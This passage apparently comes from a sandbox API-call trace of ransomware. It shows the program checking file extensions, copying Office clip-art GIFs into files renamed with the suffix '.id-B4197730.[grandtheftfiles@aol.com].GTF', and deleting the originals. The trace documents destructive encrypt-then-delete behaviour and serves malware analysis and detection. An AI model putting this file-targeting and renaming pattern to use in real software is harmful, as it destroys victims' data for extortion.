	[0078.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0078.754] lstrlenW (lpString=".doc") returned 4
	[0078.754] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.754] lstrlenW (lpString=".docx") returned 5
	[0078.754] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.754] lstrlenW (lpString=".pdf") returned 4
	[0078.754] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.754] lstrlenW (lpString=".xls") returned 4
	[0078.754] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.754] lstrlenW (lpString=".xlsx") returned 5
	[0078.754] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.754] lstrlenW (lpString=".ppt") returned 4
	[0078.754] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0078.754] lstrlenW (lpString=".zip") returned 4
	[0078.755] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.755] lstrlenW (lpString=".rar") returned 4
	[0078.755] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.755] lstrlenW (lpString=".bz2") returned 4
	[0078.755] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.755] lstrlenW (lpString=".7z") returned 3
	[0078.755] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0078.755] lstrlenW (lpString=".dbf") returned 4
	[0078.755] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0078.755] lstrlenW (lpString=".1cd") returned 4
	[0078.755] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0078.755] lstrlenW (lpString=".jpg") returned 4
	[0078.755] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0078.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0078.755] lstrlenW (lpString=".doc") returned 4
	[0078.755] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.755] lstrlenW (lpString=".docx") returned 5
	[0078.755] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.755] lstrlenW (lpString=".pdf") returned 4
	[0078.755] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.755] lstrlenW (lpString=".xls") returned 4
	[0078.755] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.755] lstrlenW (lpString=".xlsx") returned 5
	[0078.755] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.755] lstrlenW (lpString=".ppt") returned 4
	[0078.755] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0078.755] lstrlenW (lpString=".zip") returned 4
	[0078.755] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.755] lstrlenW (lpString=".rar") returned 4
	[0078.755] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.755] lstrlenW (lpString=".bz2") returned 4
	[0078.756] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.756] lstrlenW (lpString=".7z") returned 3
	[0078.756] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0078.756] lstrlenW (lpString=".dbf") returned 4
	[0078.756] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0078.756] lstrlenW (lpString=".1cd") returned 4
	[0078.756] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0078.756] lstrlenW (lpString=".jpg") returned 4
	[0078.756] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.756] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0078.756] lstrlenW (lpString="AG00142_.GIF") returned 12
	[0078.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0078.757] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=15308) returned 1
	[0078.757] CloseHandle (hObject=0x388) returned 1
	[0078.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 0x220
	[0078.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0078.757] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.757] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0078.758] GetLastError () returned 0x0
	[0078.758] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x3bcc, lpOverlapped=0x0) returned 1
	[0078.759] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x3bd0, lpOverlapped=0x0) returned 1
	[0078.760] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.760] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0078.760] SetEndOfFile (hFile=0x35c) returned 1
	[0078.761] CloseHandle (hObject=0x35c) returned 1
	[0078.762] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.762] SetEndOfFile (hFile=0x388) returned 1
	[0078.763] CloseHandle (hObject=0x388) returned 1
	[0078.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0078.763] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 1
	[0078.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0078.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0078.763] lstrlenW (lpString=".doc") returned 4
	[0078.763] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.764] lstrlenW (lpString=".docx") returned 5
	[0078.764] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.764] lstrlenW (lpString=".pdf") returned 4
	[0078.764] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.764] lstrlenW (lpString=".xls") returned 4
	[0078.764] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.764] lstrlenW (lpString=".xlsx") returned 5
	[0078.764] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.764] lstrlenW (lpString=".ppt") returned 4
	[0078.764] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0078.764] lstrlenW (lpString=".zip") returned 4
	[0078.764] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.764] lstrlenW (lpString=".rar") returned 4
	[0078.764] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.764] lstrlenW (lpString=".bz2") returned 4
	[0078.764] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.764] lstrlenW (lpString=".7z") returned 3
	[0078.764] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0078.764] lstrlenW (lpString=".dbf") returned 4
	[0078.764] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0078.764] lstrlenW (lpString=".1cd") returned 4
	[0078.764] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0078.764] lstrlenW (lpString=".jpg") returned 4
	[0078.764] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0078.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0078.764] lstrlenW (lpString=".doc") returned 4
	[0078.764] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.764] lstrlenW (lpString=".docx") returned 5
	[0078.764] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.764] lstrlenW (lpString=".pdf") returned 4
	[0078.765] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.765] lstrlenW (lpString=".xls") returned 4
	[0078.765] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.765] lstrlenW (lpString=".xlsx") returned 5
	[0078.765] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.765] lstrlenW (lpString=".ppt") returned 4
	[0078.765] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0078.765] lstrlenW (lpString=".zip") returned 4
	[0078.765] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.765] lstrlenW (lpString=".rar") returned 4
	[0078.765] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.765] lstrlenW (lpString=".bz2") returned 4
	[0078.765] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.765] lstrlenW (lpString=".7z") returned 3
	[0078.765] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0078.765] lstrlenW (lpString=".dbf") returned 4
	[0078.765] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0078.765] lstrlenW (lpString=".1cd") returned 4
	[0078.765] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0078.765] lstrlenW (lpString=".jpg") returned 4
	[0078.765] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.765] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0078.765] lstrlenW (lpString="AG00154_.GIF") returned 12
	[0078.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0078.766] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=5315) returned 1
	[0078.766] CloseHandle (hObject=0x388) returned 1
	[0078.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 0x220
	[0078.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0078.766] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.766] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0078.767] GetLastError () returned 0x0
	[0078.767] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x14c3, lpOverlapped=0x0) returned 1
	[0078.768] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x14d0, lpOverlapped=0x0) returned 1
	[0078.769] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.769] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0078.769] SetEndOfFile (hFile=0x35c) returned 1
	[0078.770] CloseHandle (hObject=0x35c) returned 1
	[0078.771] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.771] SetEndOfFile (hFile=0x388) returned 1
	[0078.772] CloseHandle (hObject=0x388) returned 1
	[0078.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0078.772] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 1
	[0078.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0078.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0078.773] lstrlenW (lpString=".doc") returned 4
	[0078.773] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.773] lstrlenW (lpString=".docx") returned 5
	[0078.773] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.773] lstrlenW (lpString=".pdf") returned 4
	[0078.773] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.773] lstrlenW (lpString=".xls") returned 4
	[0078.773] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.773] lstrlenW (lpString=".xlsx") returned 5
	[0078.773] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.773] lstrlenW (lpString=".ppt") returned 4
	[0078.773] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0078.773] lstrlenW (lpString=".zip") returned 4
	[0078.773] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.773] lstrlenW (lpString=".rar") returned 4
	[0078.773] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.773] lstrlenW (lpString=".bz2") returned 4
	[0078.773] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.773] lstrlenW (lpString=".7z") returned 3
	[0078.773] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0078.773] lstrlenW (lpString=".dbf") returned 4
	[0078.773] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0078.773] lstrlenW (lpString=".1cd") returned 4
	[0078.773] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0078.773] lstrlenW (lpString=".jpg") returned 4
	[0078.773] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0078.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0078.773] lstrlenW (lpString=".doc") returned 4
	[0078.773] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.773] lstrlenW (lpString=".docx") returned 5
	[0078.774] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.774] lstrlenW (lpString=".pdf") returned 4
	[0078.774] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.774] lstrlenW (lpString=".xls") returned 4
	[0078.774] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.774] lstrlenW (lpString=".xlsx") returned 5
	[0078.774] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.774] lstrlenW (lpString=".ppt") returned 4
	[0078.774] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0078.774] lstrlenW (lpString=".zip") returned 4
	[0078.774] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.774] lstrlenW (lpString=".rar") returned 4
	[0078.774] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.774] lstrlenW (lpString=".bz2") returned 4
	[0078.774] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.774] lstrlenW (lpString=".7z") returned 3
	[0078.774] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0078.774] lstrlenW (lpString=".dbf") returned 4
	[0078.774] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0078.774] lstrlenW (lpString=".1cd") returned 4
	[0078.774] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0078.774] lstrlenW (lpString=".jpg") returned 4
	[0078.774] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.774] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0078.774] lstrlenW (lpString="AG00157_.GIF") returned 12
	[0078.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0078.775] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=4955) returned 1
	[0078.775] CloseHandle (hObject=0x388) returned 1
	[0078.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 0x220
	[0078.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0078.777] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.777] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0078.778] GetLastError () returned 0x0
	[0078.778] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x135b, lpOverlapped=0x0) returned 1
	[0079.108] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x1360, lpOverlapped=0x0) returned 1
	[0079.109] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0079.110] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0079.110] SetEndOfFile (hFile=0x35c) returned 1
	[0079.110] CloseHandle (hObject=0x35c) returned 1
	[0079.111] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.111] SetEndOfFile (hFile=0x388) returned 1
	[0079.112] CloseHandle (hObject=0x388) returned 1
	[0079.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0079.112] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 1
